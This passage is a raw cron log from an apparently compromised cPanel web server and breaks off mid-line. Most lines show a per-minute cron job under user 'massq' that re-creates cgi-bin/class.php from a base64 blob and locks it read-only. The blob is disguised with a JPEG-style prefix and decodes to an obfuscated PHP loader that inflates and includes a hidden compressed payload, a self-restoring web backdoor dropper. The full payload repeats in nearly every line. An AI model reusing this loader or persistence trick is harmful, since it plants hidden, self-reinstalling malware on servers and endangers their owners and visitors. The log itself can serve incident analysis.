"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 17:54:01 server CROND[17615]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 17:55:01 server CROND[17690]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 17:55:01 server CROND[17692]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 17:55:01 server CROND[17691]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 17:56:01 server CROND[17806]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 17:57:01 server CROND[17983]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 17:57:01 server CROND[17984]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 10 17:58:01 server CROND[18045]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 17:59:01 server CROND[18122]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 18:00:01 server CROND[18191]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Apr 10 18:00:01 server CROND[18192]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 18:00:01 server CROND[18195]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 18:00:01 server CROND[18193]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 10 18:00:01 server CROND[18196]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 18:01:01 server CROND[18335]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 18:01:01 server CROND[18336]: (root) CMD (run-parts /etc/cron.hourly)
Apr 10 18:01:01 server run-parts(/etc/cron.hourly)[18336]: starting 0anacron
Apr 10 18:01:01 server run-parts(/etc/cron.hourly)[18348]: finished 0anacron
Apr 10 18:02:01 server CROND[18520]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 18:03:01 server CROND[18594]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 18:04:01 server CROND[18678]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 18:05:01 server CROND[18748]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 18:05:01 server CROND[18747]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 18:05:01 server CROND[18750]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 10 18:05:01 server CROND[18749]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 18:06:01 server CROND[18875]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmK